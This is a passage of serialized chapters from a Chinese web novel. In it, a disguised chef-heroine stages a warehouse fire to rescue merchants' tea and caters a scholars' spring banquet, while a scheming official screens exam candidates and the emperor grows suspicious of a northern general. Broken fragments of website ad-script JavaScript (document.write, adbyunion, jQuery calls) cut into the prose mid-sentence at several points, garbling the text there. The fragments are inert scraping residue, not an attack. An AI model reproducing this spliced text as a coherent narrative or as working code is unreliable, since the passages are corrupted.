冷风凉飕飕的，行商们却心头火热。 “干就干票大的，回头告诉媳妇咱不是孬种！”领头的行商在心中勉励自己。 好在运输时为了防止货物受潮霉变，增加通风性，茶叶大多用竹篓装载。 拿起来轻便得很。 行商们也不是养尊处优的大爷，扁担一挑，小步快跑。 夜阑人静，河边弥漫着泥土的腥味。 暗影处，小渡船上的船夫目光炯炯，见到几位汗如雨下的行商，也不多问，默默接过货物安置在舱中。 以竿撑舟，轻轻一划小船便无声地隐没在黑暗中。 留下来收尾的桂枝儿简单测了个风向。 “蹭。”划亮火折子，扔到事先准备好的助燃物上。一瞬间火舌肆虐，噼啪作响。 “劳烦船把头盯着点，我去叫醒看守们来救火。” “嗯。”船把头依旧沉默寡言，在周边撒下焦黑残破的碎茶叶和弯曲变形的断裂竹篓，以此伪造现场。 桂枝儿则蒙上黑色面纱，拿出解药直奔帐篷。 在放火前，目标区域外围杂物已被清除干净，保证了火势不会蔓延。 即使没人救火，问题也不大。 但做戏就要做全套。 “走水啦，走水啦！”桂枝儿向账内吹进解药，再捏着嗓子大喊。 浓烟滚滚升起，看着声势浩大的热浪正喷薄欲发，似乎准备酿造更大惨案。 “什么情况？”从睡梦中惊醒的圆墩子大吃一惊，惊慌失措地冲出帐篷。 “头儿，完、完啦！”瘦猴子与一众小弟同样傻眼。 “蠢货，还用你说！”圆墩子气急败坏地照着他的脑袋又是一巴掌，“都愣着干什么？” 风助火势愈燃愈烈，红光已经窜起来了。 “哦，快救、救救火！”瘦猴子正准备去提桶端盆。 不料，圆墩子冷笑一声。 “救他爷爷个腿儿，再不跑，当心把你也烧死在这里。”他朝地上啐了一口，“每月就开那么两个铜板，真指望老子卖命啊？” 一扭身，竟是冲着反方向溜了。 树倒猢狲散，众小弟眼见不妙，一哄而跑。 52. 春日盛宴 深夜，两道黑影从瓦片上飞掠而过。 其中一位动作行云流水，每次腾挪都自带空灵美感，紧追其后者亦身形矫健，如影随形。 离开三号码头，附近的桃花荡依旧热闹。 这里有四通八达的水巷，放眼望去，酒楼连着茶馆，遍布全街的大小赌场更是昼夜不歇。 “说甚么一步走错，祸临身——分明是你得了新人，忘旧恩。”楚淮小戏配上弦乐和梆子，唱腔悠扬。 戏棚里锣鼓喧天，船把头与桂枝儿则坐在屋顶。 “喝一杯？”寡言少语的汉子递来酒壶问道。 “不了，我怕喝完酒走不稳，跌下房梁闹笑话。”桂枝儿笑眯眯地婉拒。 船把头便不再多劝，一口烈酒闷进喉咙。 本来约好了，得手后分头走。他却一路相随，不知葫芦里卖的什么药。 桂枝儿有些不解。 男子面容冷峻坚毅，粗布衣衫被江风吹得猎猎作响。 桂枝儿甚至觉得，他不像是打小儿跑江湖的人，反而有种令行禁止的规矩感。 “女侠功夫不错，师承何门？”船把头挑起了话题。 桂枝儿应对类似提问已经不用过脑子了，一律以“我有一个夫君……”为开头。 信则有，不信则无。 船把头低垂着眼眸，轻抿嘴唇，似乎在努力寻找灵感。让一个平日里沉默寡言的人来铺垫话题，着实是一种折磨。 桂枝儿见他可怜，好笑地问道：“今晚这样的小事，派个得力手下即可，怎么还劳烦您亲自跑一趟？” “哦，女侠有所不知。”船把头长舒一口气，好似终于找到合适的切入点。 “干咱们这行，明面赚的是辛苦钱，私底下也有些刀尖舔血的勾当。”船把头冷着脸说道。 “手下人不知轻重，把握不好界限。” 有的活儿能接，有的活儿不能接。 既然大家都是一条绳上的蚂蚱，船把头也不藏着掖着，直言道：“年前有人在咱们船上落水丧命。若是寻常人，赔偿点银子也就罢了。可出事的是……” 船把头用他那粗糙的手，比划了一个官员头顶的乌纱帽形状。 “霍！”桂枝儿倒吸一口冷气，“这可怎么办才好？” “咳。”船把头轻咳一声，又指指头顶道，“最终还得仰仗身份更大的人出面摆平。” “那就好，那就好。”桂枝儿担当了一个合格的捧哏。 在船把头叙述时，她眼神中流露出恰到好处的期待和惊讶。 在关键时刻，又给予简短有力的回应。“对呀！”“可不是嘛！”画龙点睛。 船把头一时不知她是否在敷衍，表情更加凝固。 “处在您这样的地位，有的时候身不由己，理解，理解。”桂枝儿慵懒地打了个哈欠，“没别的事儿，我就先回去补觉了？” 见船把头挥手作别，桂枝儿脚尖一点便掠走。 她心中嘀咕着：拙劣，僵硬地背台词，这是受了谁的指使来传话？最讨厌谜语人！ 我本逍遥一厨师，江湖朝堂，关我鸟事。 与此同时，留在屋顶的船把头也闷下一口酒。 “踏雪无痕的轻功，如此深厚的内力，要由夫君传授，恐怕得是童养夫吧！”他撇撇了撇嘴。 主上想拉拢的人，真是奇也怪哉。 已是寅时，稀疏的星在夜空中闪着微弱光芒。白鹭洲边角的小楼灯影，透过细竹编织而成的纱窗，变得柔和朦胧。 突然，一阵敲门声打破了这份静谧。 谢鸢缓缓睁眼，带着一丝惺忪与迷茫。 他掀开被褥，素白色的中衣领口微敞，隐约露出一点锁骨和白皙的肌肤。 他没有上妆，素净的五官便显出寡淡来，但又独有一分韵味。 “小谢公子亦未寝，真是好极了。” 谢鸢揉了揉眼睛，思绪逐渐清明，带着些许无奈地看向来人。未熄的烛火摇曳，映照出少女明媚的笑容。 “怎么进来的？”他起身披上外衣，为桂枝儿斟水。 “诺。”桂枝儿指了指半掩的十字海棠纹窗。 “翻窗而入，非君子所为。”谢鸢哭笑不得。 “我是女子。”桂枝儿眼眸澄澈，满是诚恳之意。她一口气喝光了水，干涸的嗓子如久旱逢甘霖。 搅乱别人的睡眠确实不地道，但不问清楚，桂枝儿的心像被小猫爪子挠一般。 “打听个事儿。”桂枝儿低声道，“公子可知，船帮的船把头，背后靠山是谁？” “就为这个？”谢鸢笑叹口气。 大半夜跑来，他还以为行动计划出什么纰漏了呢。 “天宥年间，有朝臣提议要在楚淮一带开凿运河，将四方水系一并管理，连通杭京。”他眉心微皱，回忆道。 彼时筹谋的图景浩浩荡荡，气象万千。 似乎南北舟楫往来，源源不断的货物将畅通无阻，军事上调兵遣将也能随机应变。 有次，他见父亲下朝后在廊庑摇头而叹。 “雁过留毛，肉过留油。运河一事，耗费人力物力甚巨。事成或有其利，然过程艰难啊。” “父亲大人，听说那些宦官阉党也瞄准了这个肥差？” 兄长愤愤不平地问道。 后面的话他没多听，再后来，转眼就到了承朔年间。 “新帝登基，运河之事也就搁置了。”谢鸢掐指一算，“算算时日，船把头在楚淮扬名，还是天宥年间的事。” 也就是前朝的事。 桂枝儿脑筋飞速运转 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 “提到狗皇帝。”她眉梢一挑，好奇地问道，“我也是近日方知，泗水谢氏家风严谨、人才辈出。” “令尊更是大梁的三朝元老，那狗皇帝当真敢一点情面都不讲，就为不愿当驸马这点小事，拿你开刀？” 恐怕是早有预谋，借题发挥吧。 谢鸢静坐床边，素色长袍衣袂飘飘，他一只手轻轻搭在床沿，手指修长，骨节分明。 听到桂枝儿的问题，笑道：“一朝天子一朝臣。” “令尊当真一点风声都没听到？”桂枝儿追问。 “说书先生不是说了吗，谢家大公子偶感风寒，不能下场应试。”谢鸢嘴角依旧上扬，却暗含一抹苦涩。 发丝轻垂，更添几分落寞。 “啊。”桂枝儿恍然大悟。 狗皇帝刚掌权，新朝第一次春闱，不敢不应试。 可又怕自家芝兰玉树的后辈被针对，谢家只能“舍车保帅”，让庶出的二公子先摸着石头过河。 没想到，落得个“奉旨卖艺”的荒唐下场。 “我不该问的，万望恕罪。”桂枝儿感觉自己戳破了别人的伤心事，有些愧疚。 又觉得小谢公子当真是圣父。 应该把西蜀的乐山大佛搬开，让他坐那儿。 “无妨，我倒是更好奇，姑娘收购那么多头春茶，就算全用来烹饪，也用不完？” 谢鸢微微侧首，声音清雅。 头春茶金贵在一个“新”字上，若是放成陈茶，价格可就大打折扣了。 桂枝儿自然不会暴露自己要私藏一部分在空间内。 而收购茶叶的主要目的，是—— “小女想承包文社举子们的春日宴。”桂枝儿从容应答，胸有成竹。 春日宴，顾名思义，是在春天举办的雅集。 群贤毕至，以文会友。 众人齐聚一堂，或焚香挂画、或吟诗抚琴，伴随丝竹并奏、曲水流觞，向来被世人传为佳话。 尤其在楚淮，浮艳奢华的河水孕育了大批文人墨客。 春闱前，此宴成为南北文社互通有无的重要聚会，不仅有雅士讲学论道，甚至还有僧道前来传教，商行互通有无。 是名副其实的盛宴。 按惯例，承包春日宴的酒楼要免费提供餐食。 这是打响知名度的好机会，可惜今岁年景不好，很多酒楼都没有这么财大气粗了。 “什么，承包春日宴？！” 翌日，听闻此言的柳千金，一声惊呼。 “先生，仅凭您一人主厨，恐怕力有不逮。”王蒲与众学子亦是十分错愕。 他们百分百信任桂枝儿的厨艺，可如此规模的盛会，没有帮手怎么行？ “放心，一切都在计划之中！” 53. 筛选学子 绵密春雨浇湿了地面上的青石板砖。 街上来往的油纸伞、斗笠和马车都向一处汇聚，行人喜悦之情溢于言表。 路上有熟识的人，也互相引荐打招呼。 “在下来自东鲁黎州城，泰岳酒楼，见过诸位同仁。” “您就是陈师傅吧，幸会幸会，您那一手鲁菜当真一绝。我们哥几个是从燕平和泽州赶来的。” “看来数我最远，木犀先生在莱城做的珍珠奶茶，一下子就把我们掌柜的迷住了。此次春日宴，我定要多学几招。” 春和景明客栈二楼窗边，柳千金见到人头攒动的景象，眼中尽是惊愕。 半晌后，她才反应过来。 “这不是、这不是咱们沿途路过的酒楼客栈的大厨们吗？曾借用过后厨的，他们怎么来了？” 桂枝儿已重新打扮成木犀先生的模样，对帮忙接待的驼衣侍从，递去一个感谢的眼神。 无论那位刘知府有何企图，起码手下人办事麻利啊。 “大家都是共赴盛宴，来给咱们帮忙的。”桂枝儿胜券在握。 厨膳是一门手艺，是手艺，就得磕头拜师才能学。 学徒们从清洗锅碗瓢盆，劈柴挑水等繁重的体力活儿开始，伏低做小，被磋磨几年才能获得近距离看师傅掌勺的机会。 最初只能少说多看，慢慢揣摩。 即使有疑问，也需把师傅伺候好了，再挑准时机请教。 “教会徒弟，饿死师傅。”桂枝儿笑着对柳千金解释道，“这种顾虑我没有。” “所以我早就给诸位同行写信，愿意来搭把手的，我无偿教，能学会多少，全凭各自本事。” 厨膳之道，与学问一样，贵在交流。 川蜀辣，岭南鲜，东鲁菜系悠久，南食口味趋甜。所谓一方水土养一方人，闭门造车不如博采众长。 桂枝儿集百家之长，这就是她承包春日宴的底气！ “先生神机妙算。”王蒲等学子眼中震惊之色化为钦佩，“没有一手好厨艺的监学大人不是合格的侠客啊。” 果然，优秀的人做什么都优秀。 桂枝儿抱着逗小孩儿的心态笑道：“诸君，即使你是千里挑一的逸群之才，大梁也有近万个，学无止境。” 众举子叹服，自此更加戒骄戒躁、勤勉向学。 转眼间，经过紧锣密鼓的筹备，春日宴拉开序幕。 宴会地点如旧，依山傍水。春风拂过山川，草木渐次苏醒，点点新绿连成一片，繁花渐绽。 此次春日宴顺应餐食，以“茶”为主题。 飞檐斗拱的小亭内，有一衣履精雅的青年正挥毫泼墨。 桌案上的画墨色氤氲，似是云雾缭绕，茶树错落有致，一片片嫩绿的茶叶淡雅清香。 “墨韵天成，意境高远。”头顶青巾的男子拱手道，“敢问兄台可是燕平举人，府试首名的田学兄？” “哦？”青年停笔问道，“您是……” “学弟扬安李觅。早闻学兄大名，此次春闱，兄台一定蟾宫折桂，金榜题名。” “是啊是啊，若他日显达，勿忘旧友。” 画船上，流水边，类此之语，遍见于集会四处。 抚琴弄弦的清音被打断，品茗对弈的战局被搅乱。 浮躁的气息仿佛会传染，原本安稳写着文章的举子也纷纷搁笔，与人四处交际，生怕漏掉什么重要信息。 此时反倒显出北境举子的特别了。 王蒲收起竹杖，背脊挺拔如松，正拖拽跛足的左脚，一笔一划地撰写着文章。 “文景兄，咱们可要去听些音信？”有学子问道。 “事关春闱，确实值得重视，但先生说了，心要静、气要稳，不能因小失大。”王蒲郑重道。 先生一贯不会出错。 于是北境学子便歇了去四处乱窜的心思，专注于笔下诗文。 春日宴的末后一步，便是展示各自佳作，由全场投票评定优劣。若是出了纰漏，实在有愧先生教导。 也有那明眼人，看不惯拉帮结派的风气。 “我瞧这些读书人，好文章没做出几篇，交情倒是攀了不少。”一位行商拍了拍腰间布袋，笑道，“还不如我们生意人，进账出账做不得假。” 布袋子鼓鼓囊囊，装满了钱庄的存根。 与桂枝儿的春茶交易，虽没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 能如预期一般，赚得盆满钵满，但起码回了本。 行商们再挺直了腰杆子去找牙行讨说法，自不必多提。 “您几位的事情都处理妥当了，之后如何打算？”谢鸢慢悠悠地摇着折扇。 他今日一袭石青色缎衫，洗尽浮华，尽显素雅。 与此间学子并无区别。 春日宴的入门券并不好拿，参与雅集者，或有功名在身，或是清流显贵。 但桂枝儿一口气赠予了多张。 “岁运不佳，时艰世难呐。”领头的行商摇了摇头，“如今四处生意都不好做。” “听说北境暂无匪患，我们准备去收些雪山药材。” 商人的嗅觉最为敏锐，哪里财况有所起色，就奔向哪里谋出路。 “不聊俗事！”有行商转移话题，“小谢公子，您也曾是探花，这些佳作您更看好谁的？” 简直哪壶不开提哪壶。 但谢鸢不以为忤，他手中扇动，清风徐来。 “大部分附庸风雅，倒是那个北境王蒲的文，朴实敦厚，我很喜欢。”他琢磨了片刻，欣赏道。 文章摒弃了华丽典雅的锦绣辞藻，洞察世事且析理入微，令人一目了然。 能写出这样老练的文字，不知为何连续落榜？ “或许终究是身有残缺，难堪大用。”行商不懂文人的高下之分，只能费解地挠了挠头。 毕竟，一场考试的影响因素太多了。 与此同时，山间高阔平台上。 一位身形高瘦如竹竿的男子，正惬意地向缸内抛洒鱼食，引得鱼儿纷涌而来。 他鼻若鹰钩，有些刻薄之态，嘴唇微薄，没什么血色。 “春日宴的学子们，筛选得怎么样了？”他见小鱼为争抢食物而相互挤撞，嘴一张一合，阴恻恻地笑了。 “回禀大人，小的们按您的吩咐，已经挑到了数位合适的人选。”仆从卑躬屈膝道。 鹰钩鼻男子目光阴鸷，从缸中捞起一条草金鱼。他捏紧了它乱蹦的身躯，观赏其惊惶失措的样子。 仆从见状，小心翼翼地趋近，以手掩口低语：“还有就是，北境的那个瘸子又来了。” 54. 奶油蘑菇 “呵，这瘸子还没死心呐。”鹰钩鼻男子一声冷笑。 他随手将鱼儿抛向地面，鱼尾猛摆，身上仅剩的几滴水花四溅。鱼嘴极力张合，似是在呼号求救。 最终扑腾了几下，逐渐力竭，一动不动了。 “记住我给的标准，世家贵族的学子一律不准碰，只挑那些没什么背景，名气又不大的。” 鹰钩鼻男子用丝绸帕子擦了擦手，嫌恶地说道：“最要紧的，是得有真才实学。” “喏。”仆从乖顺地弓着身子退下了。 仆从明白，替大人物办事，无需多问，按要求一丝不苟地做就是了。 知道的越多，死得越快。 这已是他们第三次在春闱前夕，“挑选”举子了。 凡是被大人相中的，无一人上榜。 日光渐盛，初绽的柳芽若黄若绿。和风拂面，轻暖宜人。 林泉下、曲水旁的雅士们，逐渐汇聚到主会场。 准备迎接盛宴。 “田学兄请，咱们多喝几杯，再下场投壶，展君子之风。” “李学弟客气了，论投矢技巧，我恐怕不如你。” 春日宴的重点从来都不在吃食上，而在于举杯相邀，在于席间谈古论今，侃侃而谈。 以扬安学子李觅为例，清晨出户前，他在客栈垫吧了一口烧饼。 来到会场后，他只顾着结识同窗，拉拢小团体，肚子已经饿得咕咕叫了。 但此时还不能放松。 席间，他更要把盏言欢，先夸夸田学兄的诗画，再赞叹孙学弟弹琴鼓瑟的本事，最后适当展露自己投壶的技巧。 至于吃什么，无所谓。 “今年的宴会，是如意坊还是望云轩承包啊？”左右不过这几家，招牌菜亦是耳熟能详。 “诸位，消息滞后了吧。”有一黎州举子笑道，“看，那便是主厨——木犀先生，听说他还是北境学子的监学大人。” “什么？”众人错愕，齐刷刷抬头望去。 只见一五官粗犷的男子，步伐坚定地走到台中央，持锣槌的手轻轻挪动。 “当——”他懒懒散散地敲了个锣，“佳肴美酒已备，开宴！” 似乎是不耐烦说一大堆开场白，简截了当。 “就这？”李觅暗暗翻了个白眼。甚至未恭迎一下五湖四海的宾客，也太随意了。 “君子不入庖厨之肆。”有学子嗤笑，“这北境的先生都如此不务正业，难怪学子榜上无名。” 言语间，开胃菜已经上桌。 按惯例，需先上凉菜。但考虑到早春气候寒冷，桂枝儿别出心裁，借鉴了异域做法。 取麦粉和水揉之，面团发酵后置于砖石烤炉中，用炭火将其烤至金黄酥脆。 再在切成片的面包表层，铺上新鲜的番茄碎、茶叶碎等。 酸甜与清香混合，口感丰富。 “嘎吱。”一口咬上去，外皮酥脆有嚼劲，内里松软微甜。 学子们你看看我，我看看你，顾不得嘲讽，将目光盯准了面包片后方乳白色的汤。 “嘶溜。”一口咽下，热气腾腾。 那汤的色泽如羊脂美玉，热气袅袅，以奶油为基底，去除糖，改为切成碎丁的蘑菇。 香浓的气味扑鼻而来。 李觅搓了搓自己的手，置于冷风中许久，已被冻得僵硬通红。 如今几口面包片和一碗奶油蘑菇汤下肚，整个人都热乎起来了。 适才嗤笑的学子也不吱声，闷头就往嘴里塞。 以“茶”为主题，嫩滑的茶熏鸡脯、壳裂而不碎的茶叶蛋、爽脆的茶拌藕片，以及桂枝儿曾做过的龙井虾仁、茶香排骨等，变着花样被端上桌。 众学子一时竟挑花了眼。 李觅捧着珍珠奶茶，嘬到最后一颗木薯淀粉珠的时候，只恨自己早上不该吃那个烧饼。 “要不还能再添一碗饭。”他打了个饱嗝。 糟糕！ 光顾着吃，忘了借此机会交友了。 李觅提起杯盏，正欲找人敬酒。结果看到田学兄大快朵颐，一抹酱汁沾在嘴角格外突兀。 孙学弟则偷偷摸摸把茶叶蛋往袖子里藏，做贼心虚。 得嘞，自己现在就是露一手龙跃隼飞、百发百中投壶，估计也没人看。 “压轴菜——头春彩！” 依旧是桂枝儿扮的木犀先生上台，懒洋洋地敲了个锣。 这道菜，不可谓不神奇。 她在空间里取出一小块干冰，放于盘中，干冰吸收热量，周边的空气遇冷液化成白雾缭绕。 若隐若现的效果，让在场所有人都大开眼界。 待雾气散却，但见“头春彩”选用的是最时令的果蔬，最新鲜的肉品。 由桂枝儿写信邀请来的各路大厨，每人添一点拿手菜，博得一个锦绣荟萃，满堂喝彩。 “镇北大捷！诸位，驿站刚才骑马放鞭传来的消息，镇北大捷啊！” 恰在此时，一位满头大汗的传讯官，冲进了宴会现场。 “好，果真是头春彩！”位于上座的达官显贵们与有荣焉，笑得合不拢嘴。 北境苦乞颜乌什部落的游牧劫匪久矣，听说年前就将其击退了一次，这次大捷恐怕分量不小。 桂枝儿半是惊讶，半是喜悦。 她还记得少年曾拒绝乡绅土豪的无理要求，在宴会上用一根木箸蘸水，勾勒出悬天古道战役地形图时，那神采飞扬的模样。 不愧是小将军。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “北境现在的将军是谁啊？”有宾客好奇地问道，“某只记得经略大将军是虚设的，已经空置许久了。” “这你都不知道。”有消息灵通者，遥遥地指了指小谢公子所在位置。 后者正卷起石青色缎衫的袖袍，调整琴弦，神情专注而优雅。 “北境现在的少将军，就是这位的继任，未来的驸马爷！” “琤琤。”谢鸢扫弦刚柔并济。 将军点兵，金戈铁马奔腾而来。清脆有力的弦音，如战鼓声声，若马蹄阵阵。 赴疆场、杀敌军，一曲将军令，正合此景。 扬安学子李觅见状咽下最后一口吃食，慌忙起身。 好机会！ 他三步并作两步冲到宴席中央，背对投壶，手执羽箭，轻吸一口气，羽箭随着手腕抖动稳稳地向壶口飞去。 “漂亮！”正中壶心，众人赞叹。 李觅心中暗爽，压住自己上翘的嘴角，拱手道：“献丑了，献丑了。” 有此喜讯，今年的春日宴格外成功。 在末后一步展示佳作，由全场评定优劣时，以春茶作为选票，更是独具匠心。 小巧玲珑的茶包裹着卷曲的茶叶，淡香清雅，在场每人三票。 “这茶包说不定沾过未来状元郎的手，我得加价买回去给犬子挂在书房。”豪绅打趣道。 “我倒是更想重金求几位大师傅，来府里操刀几顿宴席。”另一人接话道。 主厨木犀先生说，他的厨艺师承北境桂小娘子。 师傅云游四方，将来要去杭京开店。 众人盘算着，桂小娘子恐怕已经是位鹤发童颜的老太太了，便不甚放在心上。 最后的悬念，唯有这春日宴头名花落谁家。 “田学兄诗画无双，更何况是府试首名，必能夺得魁首。”李觅脸上洋溢着真诚的笑容，“小弟这一票锦上添花。” 说罢，将茶包置于山茶画下方。 转身，他又精准地看到另一位意欲重点结交的学子，热切地迎上去。 “孙学弟少年英才，这书法笔走龙蛇，力透纸背。”李觅殷勤道，“学兄自愧不如啊。” 说罢，同样放下茶包。 还剩最后一票，他鬼鬼祟祟左右张望。 见无人在意，李觅整了整衣衫，故作自然地溜着墙根儿向自己摆出来的作品走去。 这帮人，有眼不识金镶玉。 留着仅剩一个的茶包，还不如投给自己的大作。 “咦？”半路上，他的目光被另一篇文章吸引。 字迹比起孙学弟更添几分沉稳，待细品内容，字字珠玑，李觅眼中逐渐闪烁起钦佩的光芒。 “这落款是……凌河王蒲？” 55. 天子震怒 俗话说，开门七件事，柴米油盐酱醋茶。 自六国战乱以来，书生们救国无门，逐渐诞生了清淡的风气。 一群文人坐在一起高谈论阔，必然需要饮宴助兴。 喝酒多是江湖草莽所为，文人看不上，所以苦涩中回荡着甘甜的茶，便成了最佳选择。 以“茶”为主题，附庸风雅不是难事。 一幅画，一首诗，众举子信手拈来，其中不乏巧思。 让李觅驻足不前的却是一篇文章。 此文以南北茶树区别作为切入点，从土壤气候、品种特性、种植管理等方面，隐喻现实，针砭时弊。 摒弃高谈论阔的调子，着眼于小而微的民生实事。 令人耳目一新。 “论点一针见血，言辞倒不激烈。”文人雅士逐渐汇聚，“很是难得啊。” 策论文最重要的就是掌握“度”。 写狠了，那是对圣上不满，对主政官员有意见。写轻了，又不痛不痒。 唯有程度恰当，选材新颖，方可不落窠臼。 文章旁渐渐堆积起春茶香包。 一片赞叹声中，小谢公子合拢了折扇，略带惋惜地叹了一口气。 文章是好文章，最要紧的是，王蒲写的不是假话。 可惜，当今圣上是一位独断专行、刻薄寡恩的人，他不爱听真话。 但杭京的坏风气，还没有完全腐蚀掉楚淮的文人风骨。 “算了算了，这帮人果然有眼不识金镶玉。”李觅撇了撇嘴，放下茶包，“就投给你吧。” 他小气得很，票不能白送。 转头，李觅就直奔北境学子的聚集地，去刷好感了。 日渐西沉，一道残阳铺水中。 楚淮河水缓慢流淌，离日落处近的地方，红光弥漫，远的地方，碧绿色依旧与小山融为一体。 一年一度的春日宴落下帷幕。 “文景兄，头名！你是头名！”北境学子欢呼雀跃，他们全然不顾平日里的端庄仪态，笑声爽朗。 “文景兄果然有大才。”李觅拱手贺道。 偏远地带的举子们，心思相对单纯些。 他们大多数只参加一两届会试，若上榜遥遥无期，便不再执着，回乡当个富家翁。 因成绩不显、名声不大，反而更加团结一致。 “谢过李学弟。”王蒲真心诚意地还礼，再问道，“大家可知先生去哪儿了？” 学有所成，理当先向先生禀告。 “先生在数钱呢。”泼辣圆润的女书生快言快语。 “啊？”众人瞪大了眼。 茶包火热拍卖中，凡是家中有学子的豪绅都在竞价购买。 一道头春菜恰巧碰到镇北大捷，寓意头彩，达官显贵们争相邀请大师傅上门。 居间费、食材费、调料费…… 众人脑海里，幻想出先生躲在小黑屋中，手指捻动着崭新的银票。 “一百，二百。”再朝手上吐口水，“三百，四百。” 众学子猛烈摇头，一时间有些幻灭。 树丛阴影中，仆从遥遥地看着一片热闹欢腾的景象，双唇紧抿，逃似的飞奔回山间高阔平台。 大人再三交代，要挑没什么背景，名气又不大的学子。 可这北境的瘸子竟然得了头名！ “大人呢？”仆从看着满地散发刺鼻的腥味的死鱼。 这些死鱼横七竖八，鱼肚朝上，黯淡无光的鳞片脱落，露出下方苍白的鱼肉。 “何事如此着急？”另一位仆从诧异问道，“大人带着名单走了，此时恐怕已经登上回杭京的船了。” “糟糕，这、这该如何是好！”仆从急得直跺脚，却毫无办法。 但愿半个月后，在京城不会出什么乱子。 在鹰钩鼻男子带着名单回京的同时，传讯“镇北大捷”的驿员更是日夜兼程。 飞马快送，鸣鞭道喜。 越过旌旗飘扬的巍峨城 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 墙，踏过行人如织的青石板路，巨龙蜿蜒盘旋的皇城近在眼前。 “吾皇万岁，镇北大捷！” 朱红色的城门厚重庄严，尽显皇家威严气派。 宫殿建筑群气势恢宏，金色的屋脊耸立，琉璃瓦在阳光的照耀下熠熠生辉。 阳光穿不透的宫殿内，暗影沉沉。 当今天子梁瑜年逾不惑，他的脸庞隐在黑暗中，看不真切。 唯独一双眼锐利阴狠，不怒自威。 殿内空气仿佛凝固了一般，寂静无声，只有皇帝轻微的呼吸声在轻轻回荡。 “朕记得，年前，镇北知府马碌就上过一道请功折子。”低沉冷漠的声音回荡。 “草原的乞颜乌什部落，已经如此好打发了吗？” 天子眼中划过一丝轻蔑与不屑，面容冷峻，嘴角扯出一抹冷笑。 “北境，一定有人在搞鬼。”他一字一句，让人不敢有丝毫违抗。 那抹冷笑似乎在警告，皇权不容挑战。任何妄图欺骗天子、背叛大梁的人，都将死无葬身之地。 “索要拖欠粮草和饷银的折子，暂且按下不发，让少将军进京领赏。”天子双眸微眯。 接着，他微微侧头看去。 身后头戴黑色纱帽的大太监，肤色微黄，清瘦的面庞皱纹沟壑纵横。 “朕封你为权摄镇北经略大将军。”天子缓缓开口，“前往北境，给朕彻查！” 权摄军职，暂代军中一切事物。 “奴才遵旨。”司礼太监敛容正色，双膝一曲，将拂尘横放身前跪地领命。 君心难测，大太监暗中揣度圣意。 那栾小将军作为武状元拒婚，本是大罪，只不过上阵杀敌的借口太好，才被发配边疆。 君要臣死，臣不仅不死，还连打胜仗。 注定要被君王忌惮。 “简直放肆！”天子双眉紧蹙，他再扫一眼手中奏折，怒火中烧，“等少将军回京，让他与长公主即刻完婚！” 56. 梅菜扣肉 楚淮河口码头。 一只白鹭掠过河面，细长的双腿让水面泛起微微涟漪。几只色彩斑斓的翠鸟，也不甘落后，俯冲到水中捕猎。 “小娘子一路顺风。”柳千金低声念叨。 船上，桅杆挺直矗立，船帆在风中鼓荡。船夫们身着粗布衫，头戴斗笠，娴熟地操控着船只。 “先生，您的仆从不跟您一起进京吗？”泼辣圆润的女书生好奇地问道。 “不，她要留在这儿学些经商技巧再回北境。”桂枝儿摇摇头。 系统任务进度已达98.6%。 新增的这百分之一，就是由柳千金贡献的。 临别前，柳千金央桂枝儿做一道梅干菜扣肉，那是儿时逢年过节才能吃上的美食。 区区小事当然难不倒她。 桂枝儿先将梅干菜冲洗干净，去除砂子和杂质，用冷水泡上，再取出精心挑选的带皮五花肉。 皮下脂肪层洁白如雪，瘦肉则是鲜嫩的粉红色。 一层肥一层瘦，桂枝儿轻松地为其冲洗血水，这样做出来的梅干菜扣肉肥而不腻。 “我说的步骤对吧？”桂枝儿一边起锅烧油，一边问道。 “应该没错，小时候阿妈就是这么做的。”柳千金面含期待，脸上的褐色胎记在柴火熏烤下愈发明显。 她蹲坐一旁，其貌不扬。 完全看不出来，是近几日在桃花荡的戏楼里，一舞动四方的“千金娘子”。 “决定好了，真要留在楚淮？”桂枝儿将上色后的五花肉皮朝下放入锅中。 五花肉滋滋冒油，被煎至表面焦脆。 “没打算一直在这里。”柳千金猛吸一口肉香。 楚淮有数不尽的新奇玩意儿，逼真的幻术和南北交融的戏法，都令她着迷。 “我再多赚点银两，立一个戏班子，自己做班主。” 她眼神亮晶晶的，与桂枝儿分享她的宏伟计划。 北境邀月楼还有些花娘和小倌，如她一般，不知赎身后能做什么，她要把这些人也吸纳进来。 “姐妹们排演几出好戏，一路上京去。”柳千金昂了昂下巴，满是骄傲。 “有志气。”桂枝儿笑了。 其中艰难不必多提，人有梦想总比活得浑浑噩噩强。 上菜！ 肉色枣红透亮，汤汁黏稠，梅干菜里头透着浓浓的肉香，扣肉又包裹着菜，软烂醇香。 柳千金迫不及待地尝了一筷子。 “这……”她细细琢磨，沉吟片刻，“好吃是好吃，但还有点区别，我也说不上来。” 油脂在舌尖融化，瘦肉紧实而不柴。 桂枝儿蹙眉，百思不得其解，今天的梅干菜扣肉发挥正常，按道理家常菜都是差不多的味道啊。 在桂枝儿翻看食材查找原因的时候，柳千金也忍不住倾诉过往。 “小时候阿娘做梅干菜，要先堆晒、腌制，再晒干，花上半个月才腌熟。”她语带思念。 这一开口，回忆便滔滔不绝。 “我们家种稻米，丰收的时候我就爱在打谷场上玩。”柳千金笑道，“爹娘不舍得我用镰刀去割稻。” 农村孩子早当家，独宠囡囡的是少数。 “他们总是说，小柳儿，回家打壶水送来。” 家里木板门的门把手上，挂着一个老旧锁头。 除非出远门，否则是不必上锁的。村里都是熟人，路不拾遗，户不夜闭。 “爹爹比量着我的身高，在离地一尺的位置又做了个小门把手，方便我推拉。”柳千金炫耀道。 桂枝儿脑海中有了画面感。 奶声奶气的小团子，抓住自己的专属小门把手，进到屋内，在葫芦里灌满水，再屁颠屁颠地跑回稻田。 若没有遭水灾逃难，或许也会有幸福圆满的一生。 “你原籍离杭京不远，那……你阿娘晾晒的，莫非并不是芥菜？”桂枝儿忽的灵光一闪。 梅干菜的制作原料相当广泛，江南一带以芥菜为主。 除此以外，萝卜幼苗、油菜等均可作为原材料。 “你说过年时最好吃，很有可能，是冬季的雪里蕻！”桂枝儿一拍巴掌。 腌好的雪里蕻无碎叶，色泽金黄，香味扑鼻，吸足五花肉的油后，入口更是又嫩又糯。 桂枝儿紧锣密鼓赶制了一碗新的梅干菜扣肉。 